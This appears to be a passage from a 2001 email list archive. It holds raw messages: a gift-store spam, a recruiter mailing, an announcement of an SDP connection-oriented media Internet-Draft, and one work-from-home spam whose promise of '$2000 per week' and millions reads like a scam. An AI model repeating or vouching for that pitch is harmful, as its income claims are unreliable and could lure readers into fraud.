Kevin Jeffay, Univ. North Carolina
Edward Knightly, Rice University
Jim Kurose, U.Mass.
Jorg Liebeherr, University of Virginia
Qingming Ma, Cisco
Laurent Mathy, University of Lancaster
Klara Nahrstedt, University of Illinois
Andrew Odlyzko, AT&T Research
Jim Roberts, France Telecom
Jens Schmitt, Darmstadt University
Yuval Shavitt, Tel Aviv University, Israel
Cormac Sreenan, Univ. College Cork
Peter Steenkiste, CMU
Burkhard Stiller, ETH Zuerich
Ion Stoica, CMU
John Wroclawski, MIT



Local Organization
------------------
Lars Wolf, University of Karlsruhe
Klaus Wehrle, University of Karlsruhe


Further General Information
===========================
   http://www.uni-karlsruhe.de/~iwqos/

From confctrl-owner  Thu Feb 15 07:29:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA10255
	for confctrl-outgoing; Thu, 15 Feb 2001 07:29:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA10243
	for <confctrl@zephyr.isi.edu>; Thu, 15 Feb 2001 07:29:08 -0800 (PST)
Received: from mail18.domainhost.com ([63.173.19.140])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1FFT5s19807;
	Thu, 15 Feb 2001 07:29:05 -0800 (PST)
Received: from pavillion (w235.z208037159.nyc-ny.dsl.cnc.net [208.37.159.235])
	by mail18.domainhost.com (8.9.3/8.9.3) with SMTP id JAA27328;
	Thu, 15 Feb 2001 09:24:09 -0600
From: "Chandeliers" <penny925@hotmail.com>
To: <nycae@hotmail.com>
Subject: Joe, Please let me know if you receive this link. AL
Date: Thu, 15 Feb 2001 10:23:59 -0500
Message-ID: <NEBBKBOMCLMCHKJCGOPICENPCDAA.penny925@hotmail.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0180_01C09739.68F6AAE0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Disposition-Notification-To: "Chandeliers" <penny925@hotmail.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0180_01C09739.68F6AAE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Joe, If you can read this it means you were able to open the email.  I
received many complaints from people to remove them thinking it was spam.  I
don't know why this happened.  Well, let me know what you think.  Although
the site is running well, I think the prices are too low.  Please send
regard to Paula and tell her I am looking forward to see you all.

Sincerely,

Al





            Mary Engelbreit, Precious Moments and Save the Children novelty
gifts. All items listed are brand new, current retail items ranging in cost
of $12.99 to $29.99 and you pay up to 70% OFF. Please see our 'INFO' page
for more information about us.

            You will also receive a free gift with your purchase. you may
request which category to receive your free gift from, and we will try to
accomodate you. Limit one free gift per household per month.



            PRECIOUS MOMENTS BIRTHSTONE CHARM FEBRUARY


            Regular price: $12.95
            Sale price: $3.50  save the children school bus pin


            save the children school bus pinRegular price: $14.95
            Sale price: $5.50  MARY ENGELBREIT MISS SMARTY PIN


            Regular price: $14.95
            Sale price: $5.50



            Sterling Silver Boy Charm Diamond Center


            Regular price: $19.95
            Sale price: $3.50


            Copyright © 2000 FreeGiftsPlus.com Inc. All rights reserved.

            If you have any questions, send E-mail to










------=_NextPart_000_0180_01C09739.68F6AAE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial color=3D#0000ff =
size=3D4><SPAN=20
class=3D390380020-14022001>Joe, If you can read this it means you were =
able to=20
open the email.&nbsp; I received many complaints from people to remove =
them=20
thinking it was spam.&nbsp; I don't know why this happened.&nbsp; Well, =
let me=20
know what you think.&nbsp; Although the site is running well, I think =
the prices=20
are too low.&nbsp; Please send regard to Paula and tell her I am looking =
forward=20
to see you all.</SPAN></FONT></DIV>
<DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D4><SPAN=20
class=3D390380020-14022001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D4><SPAN=20
class=3D390380020-14022001>Sincerely,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D4><SPAN=20
class=3D390380020-14022001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D4><SPAN=20
class=3D390380020-14022001>Al</SPAN></FONT></DIV></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>
<TABLE cellSpacing=3D0 cellPadding=3D0 border=3D0>
  <TBODY>
  <TR vAlign=3Dtop>
    <TD><MAP name=3D87a43a86f0b61034d><AREA shape=3DRECT =
coords=3D3,0,153,100=20
        href=3D"index.html"><AREA shape=3DRECT coords=3D0,100,156,136=20
        href=3D"precmombirch.html"><AREA shape=3DRECT =
coords=3D0,136,156,172=20
        href=3D"marenac.html"><AREA shape=3DRECT coords=3D0,172,156,208=20
        href=3D"savechildren.html"><AREA shape=3DRECT =
coords=3D0,208,156,244=20
        href=3D"stersilchar.html"><AREA shape=3DRECT =
coords=3D20,244,136,275=20
        href=3D"seconor.html"><AREA shape=3DRECT coords=3D0,293,156,329=20
        =
href=3D"http://order.store.yahoo.com/cgi-bin/wg-order?freegiftsplus"><ARE=
A=20
        shape=3DRECT coords=3D0,329,156,365 href=3D"info.html"><AREA =
shape=3DRECT=20
        coords=3D0,365,156,401 href=3D"privacypolicy.html"><AREA =
shape=3DRECT=20
        coords=3D0,401,156,437 href=3D"nsearch.html"><AREA shape=3DRECT=20
        coords=3D0,437,156,473 href=3D"ind.html"><AREA shape=3DRECT=20
        coords=3D25,473,131,491 href=3D""></MAP><A=20
      href=3D"http://www.freegiftsplus.com"><IMG height=3D492 isMap =
hspace=3D0=20
      src=3D"http://store6.yimg.com/I/freegiftsplus_1624_17242" =
width=3D156=20
      useMap=3D#87a43a86f0b61034d border=3D0 NOSEND=3D"1"></A></TD>
    <TD><IMG height=3D1 alt=3Dpad=20
      src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif" =
width=3D26=20
      border=3D0 NOSEND=3D"1"></TD>
    <TD><FONT face=3D"arial, helvetica" size=3D2><A=20
      href=3D"http://www.freegiftsplus.com"><IMG height=3D99 hspace=3D0=20
      src=3D"http://store6.yimg.com/I/freegiftsplus_1621_42045" =
width=3D528 border=3D0=20
      NOSEND=3D"1"></A><BR><BR><A =
href=3D"http://www.freegiftsplus.com"><IMG=20
      height=3D154 hspace=3D0=20
      src=3D"http://store6.yimg.com/I/freegiftsplus_1621_230123" =
width=3D283=20
      border=3D0 NOSEND=3D"1"></A><BR><BR>
      <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D368 border=3D0>
        <TBODY>
        <TR>
          <TD><FONT face=3D"arial, helvetica" size=3D2>Mary Engelbreit, =
Precious=20
            Moments and Save the Children novelty gifts. All items =
listed are=20
            brand new, current retail items ranging in cost of $12.99 to =
$29.99=20
            and you pay up to 70% OFF. Please see our 'INFO' page for =
more=20
            information about us.<BR><BR>You will also receive a free =
gift with=20
            your purchase. you may request which category to receive =
your free=20
            gift from, and we will try to accomodate you. Limit one free =
gift=20
            per household per =
month.</FONT></TD></TR></TBODY></TABLE><BR>
      <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D368 border=3D0>
        <TBODY>
        <TR>
          <TD><IMG height=3D5 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"></TD></TR>
        <TR vAlign=3Dbottom>
          <TD width=3D75>
            <CENTER><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/precmombirch4.html"><IMG=20
            height=3D125 alt=3D"PRECIOUS MOMENTS BIRTHSTONE CHARM =
FEBRUARY" hspace=3D0=20
            src=3D"http://store6.yimg.com/I/freegiftsplus_1620_130593" =
width=3D75=20
            border=3D0 NOSEND=3D"1"></A></CENTER></TD>
          <TD><IMG height=3D1 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D24 border=3D0 NOSEND=3D"1"></TD>
          <TD width=3D75>
            <CENTER><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/savchilschoo.html"><IMG=20
            height=3D109 alt=3D"save the children school bus pin" =
hspace=3D0=20
            src=3D"http://store6.yimg.com/I/freegiftsplus_1620_487025" =
width=3D120=20
            border=3D0 NOSEND=3D"1"></A></CENTER></TD>
          <TD><IMG height=3D1 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D24 border=3D0 NOSEND=3D"1"></TD>
          <TD width=3D75>
            <CENTER><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/marenmissmar.html"><IMG=20
            height=3D125 alt=3D"MARY ENGELBREIT MISS SMARTY PIN" =
hspace=3D0=20
            src=3D"http://store6.yimg.com/I/freegiftsplus_1620_273139" =
width=3D112=20
            border=3D0 NOSEND=3D"1"></A></CENTER></TD></TR>
        <TR vAlign=3Dtop>
          <TD width=3D75><FONT face=3D"arial, helvetica" size=3D2>
            <CENTER><B><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/precmombirch4.html">PRECIOUS=
=20
            MOMENTS BIRTHSTONE CHARM FEBRUARY</A></B><BR><IMG height=3D2 =
alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"><BR></CENTER>
            <CENTER>Regular price: $12.95<BR><FONT color=3D#cc0000>Sale=20
            price:</FONT> <B><FONT=20
          color=3D#cc0000>$3.50</FONT></B></CENTER></FONT></TD>
          <TD><IMG height=3D1 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D24 border=3D0 NOSEND=3D"1"></TD>
          <TD width=3D75><FONT face=3D"arial, helvetica" size=3D2>
            <CENTER><B><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/savchilschoo.html">save=20
            the children school bus pin</A></B><BR><IMG height=3D2 =
alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"><BR></CENTER>save the =
children school=20
            bus pin<IMG height=3D1 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D10 border=3D0 NOSEND=3D"1">Regular price: =
$14.95<BR><FONT=20
            color=3D#cc0000>Sale price:</FONT> <B><FONT=20
            color=3D#cc0000>$5.50</FONT></B></FONT></TD>
          <TD><IMG height=3D1 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D24 border=3D0 NOSEND=3D"1"></TD>
          <TD width=3D75><FONT face=3D"arial, helvetica" size=3D2>
            <CENTER><B><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/marenmissmar.html">MARY=20
            ENGELBREIT MISS SMARTY PIN</A></B><BR><IMG height=3D2 =
alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"><BR></CENTER>
            <CENTER>Regular price: $14.95<BR><FONT color=3D#cc0000>Sale=20
            price:</FONT> <B><FONT=20
          color=3D#cc0000>$5.50</FONT></B></CENTER></FONT></TD></TR>
        <TR>
          <TD><IMG height=3D5 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"></TD></TR>
        <TR>
          <TD><IMG height=3D5 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"></TD></TR>
        <TR vAlign=3Dbottom>
          <TD width=3D75>
            <CENTER><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/stersilboych.html"><IMG=20
            height=3D125 alt=3D"Sterling Silver Boy Charm Diamond =
Center" hspace=3D0=20
            src=3D"http://store6.yimg.com/I/freegiftsplus_1621_559444" =
width=3D97=20
            border=3D0 NOSEND=3D"1"></A></CENTER></TD></TR>
        <TR vAlign=3Dtop>
          <TD width=3D75><FONT face=3D"arial, helvetica" size=3D2>
            <CENTER><B><A=20
            =
href=3D"http://store.yahoo.com/freegiftsplus/stersilboych.html">Sterling =

            Silver Boy Charm Diamond Center</A></B><BR><IMG height=3D2 =
alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 NOSEND=3D"1"><BR></CENTER>
            <CENTER>Regular price: $19.95<BR><FONT color=3D#cc0000>Sale=20
            price:</FONT> <B><FONT=20
          color=3D#cc0000>$3.50</FONT></B></CENTER></FONT></TD></TR>
        <TR>
          <TD><IMG height=3D5 alt=3Dpad=20
            =
src=3D"http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif"=20
            width=3D1 border=3D0 =
NOSEND=3D"1"></TD></TR></TBODY></TABLE><BR>
      <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D368 border=3D0>
        <TBODY>
        <TR>
          <TD><FONT face=3D"arial, helvetica" size=3D2>Copyright =A9 =
2000=20
            <B>FreeGiftsPlus.com</B> Inc. All rights reserved.<BR><BR>If =
you=20
            have any questions, send E-mail to=20
            <P align=3Dcenter><IMG=20
            src=3D"http://members.aol.com/blondismrt/mail2313.gif" =
border=3D0=20
            NOSEND=3D"1"></A>=20
  =
</P></FONT></TD></TR></TBODY></TABLE><BR></FONT></TD></TR></TBODY></TABLE=
></DIV>
<DIV><BR><BR><BR></DIV></BODY></HTML>

------=_NextPart_000_0180_01C09739.68F6AAE0--


From confctrl-owner  Thu Feb 15 09:55:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA21564
	for confctrl-outgoing; Thu, 15 Feb 2001 09:55:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA21547
	for <confctrl@zephyr.isi.edu>; Thu, 15 Feb 2001 09:55:24 -0800 (PST)
Received: from mail.emarkethost.net (smtp.emarkethost.net [216.34.8.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1FHtNs15626
	for <confctrl@isi.edu>; Thu, 15 Feb 2001 09:55:23 -0800 (PST)
Message-Id: <200102151755.f1FHtNs15626@tnt.isi.edu>
Received: from marketfirst.com ([216.34.8.66]) by mail.emarkethost.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 1T8FMSAQ; Thu, 15 Feb 2001 09:55:18 -0800
Date: 15 Feb 2001 17:55:18 GMT
From: PeopleStaff@emarkethost.net
Reply-To: Hire.com@emarkethost.net
To: confctrl@ISI.EDU
Subject: Market Thoughts for ERP Professionals/ Peoplestaff
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------70DC67B31B0E"
X-MKTFI: ABAAMCNAABDALNPOABFADAHJIAFALNNA-
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


This is a multi-part message in MIME format.

--------------70DC67B31B0E
Content-Type: multipart/alternative; boundary="------------A70DC67B31B0E"

--------------A70DC67B31B0E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

If you love to go to work every day - congratulations! You have found
your perfect job. But are you keeping your eye on advancement
opportunities? How will uncertain economic times effect your choices? 

If you don't love to go to work every day, what are you doing to find
your perfect job? Not ready to announce that you are looking for a
change? 

Why not let your perfect opportunity find you, quickly and
confidentially? Check out 'Career Scout':

http://hire.emarkethost.net/mk/get/REPS1?_ED=elpT8RQs76etbbnS.dY126 

with the click of your mouse you can identify your dream job as an ERP
expert. When your criteria matches a job that is posted, either now or
in the future, you are instantly notified via email. You decide if you
want to take the next step. 

Go ahead, take two minutes to describe the job that will further your
career plans. Visit www.peoplestaff.com 's 'Career Scout' now:

http://hire.emarkethost.net/mk/get/REPS1?_ED=elpT8RQs76etbbnS.dY126 

 Let your friends know about us too. 

By the way, if you've already registered with Career Scout be sure to
bookmark the site and update your profile as your experience and
requirements change. 

Sincerely, 
Rick Zabor 
PeopleStaff/ Leader Institute 
Perm and Contract Talent Specialists for Enterprise Info Technology 
770.321.1231 x-100 
zabor@peoplestaff.com 

Talent and Career Experts Since 1988 for:
Peoplesoft
SAP 
Oracle 
Lawson 
JD Edwards
CRM 
eCommerce 
eBusiness
Data warehouse
Application Development 
Technology Recruiters 

If you do not wish to receive future news, tips and promotions 
from us, please reply (including all original text) with 
Unsubscribe in the subject line.

-----------Please do not change the next line-----------
ABAAMCNAABDALNPOABFADAHJIAFALNNA-

Powered by MarketFirst(TM)

--------------A70DC67B31B0E
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html4.0 transitional//en">

<!---------- Begin document [MarketFirst Software, Inc.] V02.04,P=PeopleStaff#1,A=Email to Candidates,D=Please profile,V=5------->

<HTML> 
 <HEAD> 
<TITLE> 
Please profile
</TITLE>
</HEAD> 

<BODY><TABLE >
<TR>
<TD ALIGN="LEFT" VALIGN="TOP"  COLSPAN=6>
<body bgcolor="#FFFFFF" body link=#FFFFFF vlink=#FFFFFF>
<table width="644" border="0" bordercolordark="#000000" bgcolor="#990000" cellpadding="0" cellspacing="0">
  <tr> 
    <td colspan="4"> <IMG SRC="http://hire.emarkethost.net/mk/get?_A=12187&_D=11805&_V=0&_F=10601" ALIGN=TOP HEIGHT=46 WIDTH=644> </td>
  </tr>
  <tr> 
    <td width="21" bgcolor="#990000" bordercolor="#999966" height="293">&nbsp;</td>
    <td width="169" bgcolor="#990000" height="293" valign="top" bordercolor="#990000"> 
      <p>&nbsp;</p>
      <p> <A HREF="http://hire.emarkethost.net/mk/get/REPS1?_ED=elpT8RQs76etbbnS.dY126"><img src=http://hire.emarkethost.net/images/PSbutton.gif border="0"></a>&nbsp</A> </p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#993300"><b><font size="1" color="#FFCC00">Talent 
        and Career Experts Since 1988 for:</font></b></font></p>
      <p><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Peoplesoft<br>
        SAP <br>
        Oracle <br>
        Lawson <br>
        JD Edwards<br>
        CRM <br>
        eCommerce <br>
        eBusiness<br>
        </font><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Data 
        warehouse<br>
        Application </font><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Development 
        Technology Recruiters </font></p>
      <p><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">At 
        Peoplestaff we<br>
        have a passion for bringing good people together with good opportunities 
        in the <br>
        ERP and Extended ERP marketplace. </font></p>
      
    </td>
    <td width="1" height="293">&nbsp;</td>
    <td width="457" valign="top" bgcolor="#990000" height="293"> 
      <p>&nbsp;</p>
      <blockquote> 
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">If 
          you love to go to work every day - congratulations! You have found your 
          perfect job. But are you keeping your eye on advancement opportunities? 
          How will uncertain economic times effect your choices? </font></p>
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">If 
          you don't love to go to work every day, what are you doing to find your 
          perfect job? Not ready to announce that you are looking for a change? 
          </font></p>
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">Why 
          not let your perfect opportunity find you, quickly and confidentially? 
          Check out <A HREF="http://hire.emarkethost.net/mk/get/REPS1?_ED=elpT8RQs76etbbnS.dY126">"Career Scout"</A> - with the click of your mouse you can identify 
          your dream job as an ERP expert. When your criteria matches a job that 
          is posted, either now or in the future, you are instantly notified via 
          email. You decide if you want to take the next step. </font></p>
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">Go 
          ahead, take two minutes to describe the job that will further your career 
          plans. Visit www.peoplestaff.com 's  <A HREF="http://hire.emarkethost.net/mk/get/REPS1?_ED=elpT8RQs76etbbnS.dY126">"Career Scout"</A>  now. Let your friends 
          know about us too. </font></p>
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">By 
          the way, if you've already registered with Career Scout be sure to bookmark 
          the site and update your profile as your experience and requirements 
          change. </font></p>
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">Sincerely, 
          <br>
          Rick Zabor <br>
          PeopleStaff/ Leader Institute <br>
          Perm and Contract Talent Specialists for Enterprise Info Technology 
          <br>
          770.321.1231 x-100 <br>
          zabor@peoplestaff.com </font></p>
      </blockquote>
    </td>
  </tr>
</table></TD>
</TR>
<TR>
<TD ALIGN="LEFT" VALIGN="TOP"  COLSPAN=6>
<font face="Verdana, Arial, Helvetica, sans-serif" size="1">If you do not wish to receive future news, tips and promotions 
from us, please <A HREF="http://hire.emarkethost.net/mk/get/UNSPS1?_ED=Dq3Kys6hL1mlpMHDp5BizE"><font color="#3333FF"> click here.</A> </font>

<br><br><br><br><br><br><br><br></TD>
</TR>
</TABLE>
<BR>-----------Please do not change the next line-----------<BR>
ABAAMCNAABDALNPOABFADAHJIAFALNNA-<BR>
<p align="right">
<FONT FACE="Arial,Helvetica" SIZE=-2 >
Powered by</FONT>
<a href="http://www.marketfirst.com">
<FONT FACE="Arial,Helvetica" SIZE=-2 >
<strong>MarketFirst&#153;</strong></FONT>
</a></p></BODY>
</HTML>

<!-- End of document [MarketFirst Software, Inc.-->


--------------A70DC67B31B0E--

--------------70DC67B31B0E--


From confctrl-owner  Fri Feb 16 05:51:30 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA24131
	for confctrl-outgoing; Fri, 16 Feb 2001 05:51:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA24126
	for <confctrl@zephyr.isi.edu>; Fri, 16 Feb 2001 05:51:29 -0800 (PST)
Received: from gromit.tactical-sw.com (207-77-57-190-inaddr.net1plus.com [207.77.57.190])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1GDpPs13022
	for <confctrl@ISI.EDU>; Fri, 16 Feb 2001 05:51:28 -0800 (PST)
Received: from cx991414-a.dialout.net (cx991414-d.crans1.ri.home.com [24.180.58.118])
	by gromit.tactical-sw.com (8.10.1/8.9.1) with ESMTP id f1GDpvY15183
	for <confctrl@ISI.EDU>; Fri, 16 Feb 2001 08:51:58 -0500 (EST)
Message-Id: <5.0.2.1.2.20010216084703.032bcaa0@hither.rfdsoftware.com>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 16 Feb 2001 08:54:34 -0500
To: confctrl@ISI.EDU
From: David Yon <yon@dialout.net>
Subject: draft-ietf-mmusic-sdp-tcpmedia-00.txt is now
  draft-ietf-mmusic-sdp-comedia-00.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've submitted a revision of the SDP/TCP-based Media draft to the IETF, in 
the meantime you can read it from here:

ftp://ftp.dialout.net/drafts/draft-ietf-mmusic-sdp-comedia-00.txt

It is now titled "Connection-Oriented Media Transport in SDP" and has the 
following changes:

         - Given that there are non-TCP transport protocols that are
           connection oriented, references to TCP have been generalized
           to connection-oriented protocols.  Hence the name and title
          change.

         - SCTP has been added as a protocol.

         - TLS has been added as a protocol.

         - Given the lack of a referencable standard, RTP/AVP-over-TCP
           has been removed.

         - Given the above, the example in the draft demonstrates a
           T.38 session rather than RTP/AVP-TCP.

Any comments or questions are welcome.



David Yon
Chief Technical Officer
Dialout.Net, Inc.
yon@dialout.net


From confctrl-owner  Sat Feb 17 00:11:35 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA12173
	for confctrl-outgoing; Sat, 17 Feb 2001 00:11:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA12167
	for <confctrl@zephyr.isi.edu>; Sat, 17 Feb 2001 00:11:34 -0800 (PST)
Received: from ktis.kcn.ac.kr ([203.232.94.14])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1H8BBs07359;
	Sat, 17 Feb 2001 00:11:12 -0800 (PST)
Received: from 216.126.153.55 ([216.126.153.55]) by ktis.kcn.ac.kr  with Microsoft SMTPSVC(5.5.1877.197.19);
	 Sat, 17 Feb 2001 17:10:25 +0900
Message-ID: <0000397f4282$0000654a$00006763@216.126.153.55>
To: <trevor5011@hotmail.com>
From: ride0731@hotmail.com
Subject: Fwd: This Was Sent To Me. Check It Out   Home Business!!                         26467
Date: Thu, 15 Feb 2001 21:50:22 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



GETTING BACK TO YOUR REQUEST!!

* You were referred to me as someone who was ready for
a Financial Breakthrough!

* If you want to be successful you must first find someone who
is successful and Duplicate what they do.

* I am willing to teach you the secrets that I have leaned in creating
Financial Independence given that you pass a brief qualification.

* I am looking for a few motivated and teachable individuals who are ready to start earning at least $2000 per week starting right away. And a SEVEN FIGURE income within the next 2 years.
Yes, I said, "You could be a millionaire!" Can you accept this in your life?

** This is not multi-level marketing or a pyramid scheme or a get rich quick scheme. This is a Real, Legitimate business that does require a certain individual.

Call me Toll Free at the number below and I will contact you back to conduct a brief interview and to provide you with additional information.

1-888-281-2694
24 Hrs/ 7 Days


Thank You and I hope to hear from you!
Jason


"The moment you commit and quit holding back, all sorts of 
unforeseen incidents, meetings and material assistance will
rise up to help you. The simple act of commitment is a powerful
magnet for help!"       - Napoleon Hill

To get off of it send email to charospain@yahoo.com

From confctrl-owner  Tue Feb 20 07:28:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA13970
	for confctrl-outgoing; Tue, 20 Feb 2001 07:28:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA13964
	for <confctrl@zephyr.isi.edu>; Tue, 20 Feb 2001 07:28:10 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1KFS9s21518
	for <confctrl@isi.edu>; Tue, 20 Feb 2001 07:28:09 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13756;
	Tue, 20 Feb 2001 10:28:07 -0500 (EST)
Message-Id: <200102201528.KAA13756@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-comedia-00.txt
Date: Tue, 20 Feb 2001 10:28:07 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Connection-Oriented Media Transport in SDP
	Author(s)	: D. Yon
	Filename	: draft-ietf-mmusic-sdp-comedia-00.txt
	Pages		: 10
	Date		: 19-Feb-01
	
This document describes how to express media transport over 
connection-oriented protocols using the Session Description Protocol 
(SDP).  It defines three new protocol identifiers: TCP, TLS and 
SCTP.  It also defines the syntax and semantics for an SDP 
'direction' attribute that describes the connection setup procedure.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-comedia-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
